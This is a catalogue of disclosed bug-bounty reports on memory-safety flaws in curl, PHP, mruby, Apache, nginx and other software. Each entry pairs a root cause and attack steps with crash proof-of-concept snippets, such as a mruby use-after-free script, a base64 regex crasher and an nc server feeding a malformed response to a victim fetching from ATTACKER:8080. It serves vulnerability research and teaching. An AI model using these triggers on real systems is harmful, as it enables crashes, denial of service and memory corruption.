Insight β Media codecs that convert between color spaces or subsampled planes are prime OOB targets: fuzz the dimension/subsampling header fields, since converters often trust luma size for chroma indexing. Compile the reference decoder with ASan and drive it with a corpus of format samples.
Real-world example
Fuzzing a scripting-VM sandbox (mruby) into use-after-free / heap overflow
β Medium
Specimen #207710 Β· shopify-scripts Β· awarded Β· 2 votes Β· resolved
Program shopify-scriptsSurface otherChain untrusted script -> VM stack realloc with stale pointer -Tag file-upload
Root cause
mruby's bytecode VM reallocs its value stack; interpreter paths (method_missing recursion, value_move) keep raw pointers into the stack across a realloc, so a crafted script triggers UAF/heap-overflow inside mrb_vm_exec β i.e. attacker source code becomes memory corruption in the sandbox host.
Method
- Target a service that executes untrusted user scripts on an embedded VM (Shopify Scripts runs merchant mruby)
- Fuzz the language runtime with an ASan build feeding random/grammar-based scripts
- Constructs that force stack realloc while a stale reference is held (deep method_missing recursion; long literal arg lists) yield UAF write / OOB memcpy
# UAF in mrb_vm_exec via recursive method_missing (report 207710)
def artist
k 10000
end
class S0n0
def inspect
super@n = na0e
@r = artist
end
end
S0n0.new.inspect
# heap-overflow variant in value_move (report 209765): a huge flat literal arg list
# d 0, 0, 0, 0, ...(hundreds)... , 0 < 0 - 0.-- 1
Insight β When a target runs a sandboxed language (mruby/Lua/JS engine), the sandbox host itself is the attack surface: fuzz the interpreter with ASan. Focus on operations that resize the VM stack/heap (recursion, large arrays, deep calls) because native pointers cached across a realloc are the recurring UAF source.
Real-world example
Race-condition UAF between two components holding a shared stream ref (HTTP/2)
β Medium
Specimen #680415 Β· ibb Β· awarded Β· 2 votes Β· resolved
Program ibbSurface networkChain fuzzed H2 frames during shutdown -> stream freed by mod_hTag webhook
Root cause
During connection shutdown Apache mod_http2 destroys an h2_stream (freeing its apr_pool) while nghttp2 still holds a reference to it and calls back (on_frame_send_cb) β read-after-free. A cross-component ownership race triggered by fuzzed HTTP/2 frames.
Method
- Build httpd + nghttp2 with ASan; set MaxMemFree 1 so freed pool memory is returned to allocator immediately (surfaces UAF instantly)
- Drive the server with an HTTP/2 fuzzer (http2fuzz) mixing PUSH_PROMISE/RST/GOAWAY during shutdown
- nghttp2 callback references a stream mod_http2 already freed β heap-use-after-free read
# ASan httpd build, config: MaxMemFree 1
# git clone https://github.com/c0nrad/http2fuzz ; run against the server
# crash: READ in h2_stream_send_frame (h2_stream.c:377) on memory freed by h2_stream_destroy
# key knob: MaxMemFree 1 forces apr pools to release freed blocks so ASan poisons them
Insight β When two libraries co-own an object across a callback boundary (protocol lib <-> server module), shutdown/teardown paths are where lifetime assumptions break. For allocator-pooled servers (APR), set MaxMemFree/allocator tuning low so freed memory isn't cached, then fuzz teardown-heavy sequences (RST_STREAM, GOAWAY, connection close) under ASan.
Real-world example
UAF in bundled regex engine (oniguruma) reachable from mb_ereg
β Medium
Specimen #692040 Β· ibb Β· awarded Β· 2 votes Β· resolved
Program ibbSurface otherTag file-upload
Root cause
PHP 7.3.3 bundled oniguruma 6.9.0 had a use-after-free in match_at/onig_match; a crafted multibyte regex compiled and matched via mb_ereg frees and then reads a match buffer. Fixed only by bumping the bundled library to 6.9.1.
Method
- Identify a language/app feature that exposes a bundled parsing library (regex/xml/image) to user input
- Note the bundled library version and diff against upstream security fixes
- Fuzz with an ASan build; here a specific recursive/backref-heavy pattern crashes onig_match_with_param
echo "KCg/KAApMCspKysrKCgoMFxnPDA+KTApfCgpKSsrKysoKD8oMSkoMFxnPDA+KSkrKysrKyswKigp
KSsrKysoKD8oMSkoMFxnPDE+KSspKysrKysrKysrKyooKSkrKysrKCg/KDEpKCgwKVxnPDA+KSsp
KysoKSkrMCsrKisrKygoKDBcZzwwPikpKigpKSsrKysoKD8oMSkoMFxnPDA+KSspKysrKysrKysr
Kyp8KSsrKysqKysrKCg/KDEpKCgwKVxnPDA+KSspKysrKysrKysrKCkpKysqfCkrKysrKCg/KAAp
MCkpfA==" | base64 -d > test0011
php -r '$f=file_get_contents("test0011"); mb_ereg($f, 0);' # ASAN: heap-use-after-free READ size 8 in onig_match_with_param
Insight β Bundled/vendored parsing libraries lag upstream fixes β enumerate a target's third-party components and their versions, then replay known regex/format fuzzing corpora. Regex engines with backreferences and recursion (\g<0>) are classic UAF sources.
Real-world example
Use-after-free that leaks heap data into an error message
β Medium
Specimen #1997312 Β· ibb Β· awarded Β· 2 votes Β· resolved
Program ibbSurface otherTag file-upload
Root cause
libcurl's SSH known-key check freed the computed SHA256 fingerprint buffer and then referenced that freed buffer while formatting the mismatch error message, so freed heap contents can be inserted into user-visible errors (CVE-2023-28319).
Method
- Trigger the failure branch of a verify/compare routine (here: present an SSH host key whose fingerprint does not match CURLOPT_SSH_HOST_PUBLIC_KEY_SHA256)
- The error path uses a buffer that the success/cleanup logic already freed
- Freed heap data is embedded in the returned error string β info leak
# Point libcurl at an SSH/SFTP server whose host key fingerprint mismatches
curl_easy_setopt(easy, CURLOPT_SSH_HOST_PUBLIC_KEY_SHA256, expected);
curl_easy_perform(easy); // failure branch formats error using already-freed fingerprint buffer
Insight β Error/exception paths are undertested for lifetime bugs: look for buffers freed on the success/exit path that a failure path still references. UAFs that surface in log/error strings are a quiet info-leak channel β check what data an error message actually renders.
Real-world example
Double-free from free-without-null across a reused struct + cleanup path
β Medium
Specimen #3735193 Β· curl Β· none Β· 2 votes Β· resolved
Program curlSurface networkChain server advertises SCRAM mech -> failed gsasl probe frees Tag webhook
Root cause
curl's GSASL auth frees gsasl->ctx on a failed probe (gsasl_client_start != OK) but never nulls the pointer; the connection reuses one gsasldata struct across mechanism probes, and the unconditional teardown Curl_auth_gsasl_cleanup() frees gsasl->ctx again β double-free (CVE-2026-8925). Server-triggerable.
Method
- Identify a cleanup/free that is not paired with setting the pointer to NULL
- Find a second code path (teardown/cleanup or a retried probe reusing the same struct) that frees the same pointer
- Drive the failing branch: any server advertising AUTH SCRAM-SHA-256/SCRAM-SHA-1 makes curl probe GSASL; if gsasl_client_start fails, first free happens; connection close double-frees
/* force the failing probe regardless of libgsasl version: */
/* gsasl_shim.c */
#include <gsasl.h>
int gsasl_client_start(Gsasl *ctx,const char *mech,Gsasl_session **out){(void)ctx;(void)mech;(void)out;return GSASL_UNKNOWN_MECHANISM;}
/* build + run against a server advertising SCRAM: */
// gcc -shared -fPIC -o gsasl_shim.so gsasl_shim.c $(pkg-config --cflags gsasl)
// LD_PRELOAD=./gsasl_shim.so ASAN_OPTIONS=detect_leaks=0 ./src/curl -v imaps://user:pass@mail.example.com/
// natural triggers: libgsasl<1.4.0, OOM (GSASL_MALLOC_ERROR), --disable-client, runtime lib downgrade
Insight β The reusable audit rule: every free() must be immediately followed by ptr=NULL, especially for a struct reused across retries/probes and freed again in a cleanup dtor. To find it, grep cleanup helpers for unconditional free()s and cross-check whether any error path already freed the same member. Same anti-pattern as curl CVE-2018-16840 and CVE-2023-27537.
Real-world example
Type confusion: enum-vs-pointer parameter (Python msilib.OpenDatabase)
β Medium
Specimen #167688 Β· ibb Β· awarded Β· 1 votes Β· resolved
Program ibbSurface desktopTag file-upload
Root cause
MsiOpenDatabase treats szPersist as an enum constant for small MSIDBOPEN_* values but as a string pointer for larger values; msilib.OpenDatabase forwards its persist arg unvalidated, so a large integer is dereferenced as a pointer -> controllable access violation / potential RCE.
Method
- Call msilib.OpenDatabase with a persist value larger than the valid enum range.
- The value is treated as a char* and dereferenced by lstrlenA -> crash at the controlled address.
- Spraying valid string pointers can turn this into arbitrary read or file creation in an attacker-chosen path -> RCE.
import msilib
msilib.OpenDatabase("", 0x41414141)
# -> read AV at 0x41414141 in KERNELBASE!lstrlenA
Insight β Look for API parameters whose meaning switches on magnitude (small = flag/enum, large = pointer/handle). If a higher-level binding forwards such a param without whitelisting the enum constants, an integer becomes a pointer. Fix is whitelist validation of the enum value.
Real-world example
Uninitialized-memory disclosure in PHP image parsers via malformed input
β Medium
Specimen #623588 Β· ibb Β· awarded Β· 1 votes Β· resolved
Program ibbSurface otherTag file-upload
Root cause
In PHP's gd XBM reader (gdImageCreateFromXbm), when sscanf(h,"%x",&b) fails to parse a hex value the stack variable b is left uninitialized and then written pixel-by-pixel into the output image, leaking stack memory. Same class as the exif MAKERNOTE uninitialized read (CVE-2019-9638).
Method
- Craft an XBM (or EXIF) file with a malformed/missing hex value so the parser's scanf fails
- Have the target app process it via imagecreatefromxbm()/exif_read_data()
- Read the produced image/output which now embeds uninitialized stack bytes
unsigned int b;
sscanf(h, "%x", &b); /* fails -> b uninitialized */
for (bit = 1; bit <= max_bit; bit <<= 1)
gdImageSetPixel(im, x++, y, (b & bit) ? 1 : 0);
Insight β When auditing native parsers (C/C++ image/metadata libs), look for scanf/read calls whose return value is unchecked before the target buffer is used - failure paths leave stack/heap uninitialized and later serialize it back to the attacker. Feed malformed hex/length fields to trigger.
Real-world example
Integer overflow in header dimension multiplication -> undersized heap alloc -> overflow
β Medium
Specimen #143234 Β· ibb Β· 500 Β· 1 votes Β· resolved
Program ibbSurface webTag file-upload
Root cause
A file-format parser computes an allocation size as a product of attacker-controlled header fields (nc = ncx*ncy, sidx = sizeof(chunk)*nc) with no overflow check. The 32-bit product wraps to a small value, gdCalloc allocates a too-small buffer, then a fill loop iterating the un-wrapped count writes past it -> heap overflow.
Method
- Craft a GD2 file whose 'chunks wide' and 'chunks high' header fields are large (e.g. 0x5b00 x 0x5b00).
- nc = ncx*ncy overflows; sidx = sizeof(t_chunk_info)*nc wraps small -> gdCalloc under-allocates.
- Loop `for(i=0;i<nc;i++)` writes nc (huge) entries into the small buffer -> heap overflow / SIGSEGV.
- Trigger via imagecreatefromgd2("poc.gd").
<?php imagecreatefromgd2("poc.gd"); ?>
// poc.gd header: ncx=0x5b00, ncy=0x5b00 -> nc=0x20590000, sidx wraps to 0x2C80000
Insight β In any parser, look for alloc = a*b (or a*sizeof(T)) where a,b come from a file/network header. Set the dimensions so the product overflows the size type while the loop bound uses the un-multiplied/un-wrapped count. Same pattern also drives output-size-not-checked decompression overflows (gzdecode/gzuncompress) and mb/pcre length overflows.
Real-world example
Array index underflow in file_get_contents HTTP response parser (CVE-2018-7584)
β Medium
Specimen #320222 Β· ibb Β· 500 Β· 1 votes Β· resolved
Program ibbSurface webChain SSRF / attacker-controlled URL fetch -> malformed HTTP re
Root cause
php_stream_url_wrap_http_ex decrements tmp_line_len to strip CR/LF then reads tmp_line[tmp_line_len-1] without a lower-bound check. A malformed response line makes tmp_line_len reach 0/-1, so the index underflows to a huge value -> stack OOB read and an oversized subsequent copy.
Method
- Stand up an HTTP server the target's file_get_contents()/fopen http wrapper will connect to (reachable via SSRF or any URL the app fetches).
- Return a malformed status line, e.g. bytes '000000000100\n\n' with no proper CRLF framing.
- The parser's `--tmp_line_len` runs below zero; tmp_line[tmp_line_len-1] reads out of the stack frame -> crash/DoS or oversized string copy.
# malicious response served on :8080
printf '000000000100\n\n' | nc -vvlp 8080
# victim:
php -r 'file_get_contents("http://ATTACKER:8080");'
Insight β Whenever an app fetches an attacker-influenced URL, the RESPONSE parser is attack surface, not just the request. Look for `len--` / `buf[len-1]` patterns with no `len>0` guard. This upgrades an SSRF (control of which host is fetched) into a memory-safety bug in the client.
Real-world example
Use-after-free in mruby native gem reachable from sandboxed scripts
β Medium
Specimen #244904 Β· shopify-scripts Β· 800 Β· 1 votes Β· resolved
Program shopify-scriptsSurface otherChain untrusted script -> native gem UAF -> potential sandbo
Root cause
A native mruby gem (mpdecimal) stored its shared mpd_context_t inside a Ruby object that the GC could collect while Decimal objects still referenced it; on teardown mpd_free dereferences the already-freed context -> heap use-after-free. Fixed by statically allocating the context.
Method
- Run untrusted Ruby inside the sandboxed script service (mruby+gems compiled with ASAN).
- Trigger the gem path that allocates then drops the shared context, e.g. `x=inspect.to_d-0`.
- GC frees the context object while a Decimal still holds it; freeing the Decimal reads freed memory -> heap-use-after-free.
x=inspect.to_d-0
Insight β Sandboxes that expose custom C gems/builtins to untrusted scripts (Shopify Scripts, mruby, JS engines) have their real attack surface in those native extensions. Fuzz every builtin/conversion with ASAN; watch for shared state stored in GC-managed objects (classic UAF: object freed but still referenced by long-lived native structs).
Real-world example
OOB write in nginx HTTP/3 QUIC encoder handling
β Medium
Specimen #2526046 Β· ibb Β· USD 2600 Β· 46 votes Β· resolved
Program ibbSurface network
Root cause
When nginx is built/configured with the experimental HTTP/3 QUIC module (ngx_http_v3_module + listen quic), undisclosed HTTP/3 QPACK encoder instructions trigger an out-of-bounds write (CWE-787), crashing/terminating worker processes (CVE-2024-32760).
Method
- Identify a server running nginx with HTTP/3 (listen ... quic enabled; default in NGINX Plus)
- Send crafted HTTP/3 QPACK encoder-stream instructions
- Out-of-bounds write terminates the worker process
- Repeat for remote unauthenticated DoS
Insight β Newly enabled protocol modules (HTTP/3, QUIC, QPACK) are immature attack surface; enabling them adds memory-safety bugs reachable pre-auth. Fingerprint Alt-Svc/h3 support and prioritize testing experimental listeners. Data-plane only, but worker restarts disrupt traffic.
Real-world example
OpenSSL BIO_new_NDEF use-after-free on failure cleanup path
β Medium
Specimen #1906897 Β· ibb Β· 2400 Β· 12 votes Β· resolved
Program ibbSurface other
Root cause
On an error (e.g. invalid CMS recipient key) BIO_new_NDEF frees the newly-prepended filter BIO but leaves the caller's BIO chain pointing at it; a subsequent BIO_pop dereferences the freed BIO.
Method
- Drive SMIME/CMS/PKCS7 streaming write (PEM_write_bio_CMS_stream etc.) with input that makes BIO_new_NDEF fail
- Failure frees filter BIO but chain retains dangling pointer
- B64_write_ASN1 calls BIO_pop on the chain -> UAF/crash
Insight β Error/cleanup paths in chained/streaming C APIs are prime UAF territory: when a helper partially builds and then frees an object on failure, check whether the caller still holds a pointer to it. Fuzz library error paths, not just happy paths.
Real-world example
Apache mod_http2 use-after-free of destroyed request pool (CVE-2019-0196)
β Medium
Specimen #527042 Β· ibb Β· awarded Β· 4 votes Β· resolved
Program ibbSurface webChain crafted HTTP/2 request -> early pool destruction -> UA
Root cause
A crafted HTTP/2 request makes mod_http2 reference request data from a memory pool after that pool is destroyed; the freed data is fed to an sprintf-type formatter building r->the_request, so the request string is poisoned with stale/attacker-influenced memory (info disclosure or crash).
Method
- Build Apache httpd with AddressSanitizer (attached script automates it)
- Send a crafted HTTP/2 request that triggers pool teardown before the_request is formatted
- Observe UAF read poisoning r->the_request under ASAN
Insight β Protocol state machines that hold raw pointers into per-request memory pools are UAF-prone; when a request can trigger early pool release, later formatting/logging reads freed memory. Fuzz HTTP/2 servers with ASAN and watch string-building of the request line.
Real-world example
Brave Leo AI OAIAPIClient null-deref crash on unvalidated model response
β Low
Specimen #2958097 Β· brave Β· awarded Β· 116 votes Β· resolved
Program braveSurface desktopTag llm-ai
Root cause
ai_chat::OAIAPIClient::OnQueryCompleted parses the JSON response from the configured AI model endpoint assuming a fixed structure without validation; a crafted response dereferences a null pointer, crashing the whole browser (SEGV).
Method
- Victim adds a custom 'Bring your own model' endpoint (attacker-controlled URL) in Leo AI settings
- User selects the model and clicks Suggest questions
- Attacker server returns a response missing the assumed fields -> null deref crashes Brave
# malicious /completions response omitting expected keys -> OnQueryCompleted null pointer deref
Insight β LLM/API integrations parse model responses as trusted; a hostile or MITM'd model endpoint is an input surface. Response handlers that index into JSON without null/shape checks crash on adversarial output β a growing bug class in AI features.
Real-world example
Node.js ReadFileUtf8 corrupted uv_fs_s.file pointer -> memory leak DoS (CVE-2025-23165)
β Low
Specimen #3083428 Β· nodejs Β· none Β· 59 votes Β· resolved
Program nodejsSurface other
Root cause
In node::fs::ReadFileUtf8, a UTF-16 path buffer allocated into uv_fs_s.file is subsequently overwritten when the file descriptor is set, so the allocation pointer is lost and never freed β an unrecoverable memory leak on every call (v20/v22).
Method
- Repeatedly call an API backed by ReadFileUtf8 (fs read of a string path)
- Each call allocates a UTF-16 path buffer whose pointer is clobbered by the fd assignment
- Unbounded memory growth -> DoS
// uv_fs_s.file holds an allocated UTF-16 path buffer, then .file is overwritten with the fd
// -> original allocation pointer lost, never freed (leak per call)
Insight β A union/field reused for both a pointer and a scalar (path buffer vs fd in uv_fs_s.file) leaks memory when the scalar write clobbers the still-owned pointer. Look for structure fields that are overloaded across lifetimes as leak/UAF sources.
Real-world example
Signed loop index underflow (-1) passed as length β strlen overread
β Low
Specimen #2629968 Β· curl Β· none Β· 53 votes Β· resolved
Program curlSurface other
Root cause
In GTime2str the fractional-seconds length is computed as fracl = tzp - fracp - 1; when tzp==fracp the loop init makes fracl == -1, which Curl_dyn_addf treats as 'no length given' and runs strlen() past the certificate buffer.
Method
- Serve a crafted TLS certificate whose GeneralizedTime has an empty fractional-seconds field (tzp==fracp)
- Curl_extract_certinfo β ASN1tostr β GTime2str computes fracl=-1
- Curl_dyn_addf("%.*s", -1, tzp) β strlen(tzp) reads beyond the cert buffer (ASan: stack/heap-buffer-overflow)
openssl-style cert with a GeneralizedTime like 20240101000000Z where the fractional part is empty so tzp==fracp β fracl=-1
Insight β printf-family %.*s with a negative precision often degrades to strlen(); any signed length derived by pointer subtraction that can hit -1 becomes an unbounded read. Grep for '- 1' loop inits feeding %.*s / memcpy length.
Real-world example
strchr(spath+1) on empty path skips NUL β out-of-bounds read
β Low
Specimen #3294999 Β· curl Β· none Β· 36 votes Β· resolved
Program curlSurface other
Root cause
In cookie.c replace_existing, when an existing cookie's sanitized path spath is the empty string "", strchr(clist->spath + 1, '/') starts one byte past the lone NUL terminator, reading out of bounds while searching for '/'.
Method
- Set a cookie whose path sanitizes to an empty string "" (secure cookie)
- Add a second cookie with the same name/domain (non-secure) so replace_existing compares paths
- strchr(spath+1, '/') reads past the 1-byte '' buffer β OOB read
Set-Cookie sequence producing clist->spath == "" (empty), then a same-name non-secure cookie β strchr(spath+1,'/') overreads
Insight β Any ptr+1 / [i+1] indexing that assumes a minimum string length breaks on empty strings; the empty-string edge case (len 0, only a NUL) is a recurring OOB source. Enumerate cookie/path operations that skip the first char.
Real-world example
OOB read via mmap resize() invariant break (Python 2.7)
β Low
Specimen #174632 Β· Internet Bug Bounty Β· awarded Β· 31 votes Β· resolved
Program Internet Bug BountySurface other
Root cause
Python 2.7.12's mmap module tracked pos and size for bounds checks, but resize() updated only size, not pos; shrinking a mapping leaves pos > size, and a subsequent read()/readline() computes a negative/huge length and reads from an adjacent memory page.
Method
- mmap a file and advance pos via a read
- Call resize() to shrink the mapping so that pos > size
- Call read()/readline(): size - pos underflows (negative/PY_SSIZE_T_MAX), so memchr/copy runs past the mapping
- Adjacent-page data is returned to the caller (segfault if no adjacent page)
# pseudocode
m = mmap(fd, large)
m.read(k) # pos = k
m.resize(small) # size < pos, pos unchanged
m.readline() # memchr(start,'\n', size - pos) -> size_t underflow -> OOB read
Insight β When auditing native buffer code, look for objects with paired offset/length state where a resize/truncate path updates only one field; the broken invariant (pos>size) turns a signed subtraction into an underflow and an OOB read. Classic pattern in parsers and memory-mapped IO.
Real-world example
Exactly-256-byte name fills stack buffer without NUL β adjacent stack read/leak
β Low
Specimen #2621062 Β· ibb (curl) Β· awarded Β· 31 votes Β· resolved
Program ibb (curl)Surface other
Root cause
curl_url_get()'s punycode conversion (macidn backend) fills a fixed stack buffer exactly when the name is precisely 256 bytes and fails to NUL-terminate; subsequent string handling reads past the buffer, including adjacent stack memory (pointer values) in the conversion result.
Method
- Use the curl URL API to convert a domain name of exactly 256 bytes to/from punycode (macidn IDN backend)
- The conversion fills the buffer exactly with no room for the terminator
- Later use reads past the unterminated buffer β adjacent stack contents (pointers) leaked into the result
curl_url_set(u, CURLUPART_HOST, <domain exactly 256 bytes>, CURLU_URLENCODE); curl_url_get(u, CURLUPART_HOST, &out, ...) # macidn backend
Insight β Off-by-one 'exact fit' bugs: a buffer sized N that is filled with N bytes leaves no room for the NUL, so the next strlen/copy overreads. Boundary-test string transforms at exactly the buffer size (255/256), not just over it. IDN/punycode/encoding converters are recurring offenders.
Real-world example
curl macidn punycode stack buffer over-read -> ASLR-defeating infoleak (CVE-2024-6874)
β Low
Specimen #2604391 Β· curl Β· none Β· 25 votes Β· resolved
Program curlSurface otherChain attacker URL -> punycode fills buffer to capacity -> u
Root cause
mac_idn_to_ascii() passes a stack buffer[256] to ICU's uidna_nameToASCII_UTF8; ICU leaves the output UNTERMINATED when the encoded length exactly equals the buffer capacity. The subsequent strdup(buffer) then reads past the buffer, leaking adjacent stack contents.
Method
- Provide a host whose punycode encoding is exactly 256 bytes so ICU fills buffer without a NUL
- curl calls strdup(buffer), which strlen-scans past the unterminated buffer
- If the app mirrors the encoded URL back or uses it, adjacent stack values (frame pointer / return addr / heap ptr) leak
./dummy "https://ââââââ-À-üxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxâââââ...üâÀüüüüü...âââââ...xx"
// buffer[256] filled to capacity, no NUL -> strdup over-read (ASAN READ size 257)
// fix: capture return n; if(n<0||n>=sizeof(buffer)) fail; else buffer[n]=0;
Insight β Any wrapper that assumes an encoding/format API always NUL-terminates a caller-provided buffer has an over-read at the exact len==capacity boundary. Check ICU/OpenSSL/format APIs for the 'exactly full buffer -> no terminator' edge and always write buf[n]=0 using the returned length. Even a pure info-leak is valuable: leaking a stack/return/heap pointer defeats ASLR/PIE and enables other memory-corruption exploits.
Real-world example
Monero RPC on_is_key_image_spent stack overflow (size mismatch, missing return) found by fuzzing
β Low
Specimen #3240792 Β· monero Β· none Β· 25 votes Β· resolved
Program moneroSurface apiChain RPC is_key_image_spent -> size-mismatched blob + missing
Root cause
In core_rpc_server.cpp on_is_key_image_spent, a value b whose data size does not match sizeof(crypto::key_image) is push_back'd/constructed into a key_image, memcpy'ing 32 bytes and reading past the smaller stack variable; a missing return statement lets execution continue into the vulnerable line. Reachable via the RPC endpoint, found by libFuzzer.
Method
- Fuzz the Monero RPC is_key_image_spent handler (Ada Logics harness)
- Provide a key image blob whose size != sizeof(crypto::key_image)
- Missing return after the size check lets line 1291 construct a key_image -> asan_memcpy reads size 32 past the 24-byte stack var 'b'
// src/rpc/core_rpc_server.cpp ~L1278-1292
// size of b.data() != sizeof(crypto::key_image); missing `return` after L1289
// -> vector<key_image>::push_back(...) construct memcpy overreads stack buffer
// libFuzzer crash input (base64): AAg
Insight β RPC/JSON handlers that copy caller-provided byte blobs into fixed cryptographic types (key_image, hash, pubkey) must validate the blob length equals the type size before constructing. Missing early-return after a validation branch is a classic way the check gets skipped. Fuzzing RPC endpoints with a typed harness surfaces these quickly.
Real-world example
curl urlapi integer overflow in allocation size (CVE-2019-5435)
β Low
Specimen #547630 Β· curl Β· awarded Β· 24 votes Β· resolved
Program curlSurface otherChain huge URL (32-bit) -> size arithmetic overflow -> under
Root cause
In seturl(), the scratch buffer is malloc(urllen*2+2); on a 32-bit platform a ~2GB URL makes urllen*2 wrap, under-allocating the buffer and causing a heap buffer overrun when the URL is copied.
Method
- In a 32-bit build, call curl_url_set(CURLUPART_URL) with an extremely long (~2GB) URL
- parseurl -> seturl computes urllen*2+2 which integer-overflows
- malloc returns an undersized buffer; the subsequent copy overruns the heap
static CURLUcode seturl(const char *url, CURLU *u, unsigned int flags){
size_t urllen = strlen(url);
path = u->scratch = malloc(urllen * 2 + 2); // <= integer overflow on 32-bit for ~2GB url
}
Insight β Allocation-size arithmetic (len*k+c) is a recurring integer-overflow sink. When reviewing malloc/realloc calls, check whether any multiplication/addition on an attacker-influenced length can wrap the size_t/int; the result is a classic under-allocation -> heap overflow. Especially relevant on 32-bit targets.
Real-world example
curl gzip Content-Encoding integer overflow -> heap overflow (CVE-2025-0725)
β Low
Specimen #2974850 Β· ibb Β· awarded Β· 24 votes Β· resolved
Program ibbSurface otherChain malicious HTTP server -> Content-Encoding gzip oversized
Root cause
In curl's support for old libz versions, an integer overflow in the gzip decompression size handling can be triggered by a malicious HTTP server serving abnormally large gzip headers when Content-Encoding: gzip is used, leading to a heap overflow with attacker-controlled data.
Method
- Serve an HTTP response with Content-Encoding: gzip and an abnormally large gzip header to a curl built against old libz
- The size calculation integer-overflows in the old-libz code path
- Decompression writes attacker-controlled data past the heap allocation
# malicious server response
Content-Encoding: gzip
<abnormally large gzip header/body> -> int overflow in old-libz path -> heap overflow (attacker-controlled data)
Insight β Decompression is a prime memory-corruption surface: the output/expansion size is computed from attacker-controlled header/stream fields and fed to allocation and copy logic. Server-controlled Content-Encoding lets a malicious server drive client-side int-overflow -> heap overflow. When a client auto-decompresses responses, treat the compressed stream/headers as an exploitation input, and check size math on legacy library paths.
Real-world example
puttygen key-parser memory bugs found by ASAN/valgrind fuzzing (heap overflow in mp_get_decimal)
β Low
Specimen #482200 Β· putty_h1c Β· awarded Β· 19 votes Β· resolved
Program putty_h1cSurface desktopChain crafted .ppk -> puttygen key parse -> heap overflow (m
Root cause
Parsing a crafted PuTTY private key (.ppk) drives mp_get_decimal (mpint.c) to read past a 16-byte heap allocation while writing the SSH1 public key string; a companion bug is a heap-use-after-free in the same puttygen path. Both surface only through fuzzing the key-file parser under ASAN.
Method
- Build puttygen with Clang + AddressSanitizer (./configure --without-gtk, CFLAGS=-fsanitize=address)
- Fuzz .ppk inputs; run `./puttygen -L <crafted>.ppk`
- ASAN/valgrind report OOB read in mp_get_decimal (and a UAF in cmdgen.c main for the sibling bug)
CC=clang CXX=clang++ CFLAGS=-fsanitize=address CXXFLAGS=-fsanitize=address ./configure --without-gtk && make -j2
./puttygen -L test0013.ppk # heap-buffer-overflow READ size 8 in mp_get_decimal (mpint.c:412)
Insight β Command-line file parsers (key/cert/config loaders) are excellent, low-noise fuzz targets: build with ASAN, feed a corpus of malformed key files, and let the sanitizer flag OOB reads/UAFs. Bignum decimal parsers and key serializers are hotspots. Same tool + methodology yields multiple distinct memory bugs (overflow and UAF) in one target.
Real-world example
Unbounded input in desktop-app GUI field β stack buffer overrun
β Low
Specimen #481335 Β· notepad-plus-plus Β· awarded Β· 18 votes Β· resolved
Program notepad-plus-plusSurface desktop
Root cause
A fixed-size stack buffer is filled from a GUI text field (Define Language 'Comment line style' Open/Close) with no length check, so an oversized pasted string smashes the stack; the crash shows saved registers/stack fully overwritten with the input bytes (0x42='B').
Method
- Generate a long ASCII string (tens of KB)
- Open Notepad++ > Define language... > 'Comment and Number' tab
- Paste the long string into the Open field, another into the Close field
- App crashes with stack buffer overrun (code c0000409); back trace is filled with 0x00420042 (the 'B's)
buffer1 = "A" * 20000
buffer2 = "B" * 11000
# paste buffer1 into 'Comment line style Open', buffer2 into 'Close'
Insight β On thick/desktop clients, every free-text config/theme field that feeds a fixed C buffer is a memory-corruption sink. Fuzz GUI fields with 10k-1M byte pastes and watch for c0000409/0x41414141 in the crash; controllable saved-return bytes turn a DoS into potential RCE.
Real-world example
Integer overflow in length check -> heap overread (info leak)
β Low
Specimen #166661 Β· ruby Β· awarded Β· 17 votes Β· resolved
Program rubySurface other
Root cause
A bounds check of the form beg+len > buflen signed-overflows on 32-bit, so a large peek() length past the end returns adjacent heap memory (Ruby strscan).
Method
- Allocate a near-INT_MAX buffer and position the scanner near its end
- Call peek(N) with a large N so beg+len overflows the signed length check
- Read the returned bytes to exfiltrate adjacent heap (pointers, symbols, secrets)
require 'strscan'
x = 'x' * 0x7FFFFFFE
s = StringScanner.new(x)
s.pos = 0x7FFFFFFD
t = s.peek(40000) # returns heap bytes past buffer
# fix: if(len<0 || beg_i > LONG_MAX-len || beg_i+len > S_LEN) len = S_LEN - beg_i;
Insight β When a length/offset check is written as a+b > limit, test the a+b overflow boundary (near INT_MAX/LONG_MAX). Overreads leak heap layout and can exfiltrate secrets even without attacker malice.
Real-world example
Binary demo-file parser stack overflow via attacker-set size field (GoldSource)
β Low
Specimen #440758 Β· valve Β· awarded Β· 17 votes Β· resolved
Program valveSurface desktopChain malicious server forces client to download crafted asset -&gTag file-upload
Root cause
DemoPlayer::ReadDemoMessage reads a length value from a .dem file and passes it to BitBuffer::ReadBuf into a fixed stack buffer with no clamp; opcodes PlaySound(8)/PayLoad(9) let the attacker specify how many bytes to read, overflowing the stack and (potentially) overwriting the return address. .dem is neither in ValidStuffText nor IsSafeFileToDownload, so a malicious server can push it to clients. A malformed .WAV in the same engine (#495789) similarly hits a tainted read access-violation in the audio parser.
Method
- Craft a .dem with opcode 8 (PlaySound) or 9 (PayLoad) whose embedded size field exceeds the destination stack buffer
- Deliver via 'viewdemo' console command, or have a malicious HLDS server / web link push the .dem to the client
- BitBuffer::ReadBuf copies attacker-controlled length onto the stack β overflow
- (variant #495789) place malformed .WAV in the sound folder / map download and 'spk misc/x.wav' β read AV in the WAV parser
// pseudocode of the missing clamp:
size = BitBuffer::ReadLong(buf);
if (size > sizeof(buffer)) size = sizeof(buffer); // <-- absent
BitBuffer::ReadBuf(buf, size, buffer);
Insight β Game engines parse many attacker-supplied binary assets (demos, sounds, maps) client-side; any format field that specifies a read/copy length without clamping to the destination is a client-RCE sink. Delivery is 'malicious server β forced asset download', so file-download allowlists (IsSafeFileToDownload) are part of the attack surface too.
Real-world example
Integer overflow of accumulated length β shrinking realloc β controlled heap OOB write (curl gzip)
β Low
Specimen #2956023 Β· curl Β· none Β· 17 votes Β· resolved
Program curlSurface networkChain integer overflow -> shrinking realloc -> OOB write of
Root cause
In gzip_do_write(), for zlib <1.2.0.4 curl manually parses gzip headers and keeps incrementing z->avail_in by nbytes across calls; a malicious server sends an endlessly large gzip header until the uInt avail_in integer-overflows, so Curl_saferealloc shrinks z->next_in and the following memcpy writes before the (now smaller) chunk, overwriting allocator metadata; the immediate free(z->next_in) then links the forged chunk into the freelist (CVE-2025-0725).
Method
- Stand up a malicious HTTP server that responds with Content-Encoding: gzip and a valid gzip magic/method/flags
- Stream ~4GB of header bytes so repeated gzip_do_write() calls overflow z->avail_in to a small value
- Send a final 32-byte 'forged chunk' β realloc shrinks, memcpy writes OOB before the chunk, free() inserts the forged chunk into the allocator freelist
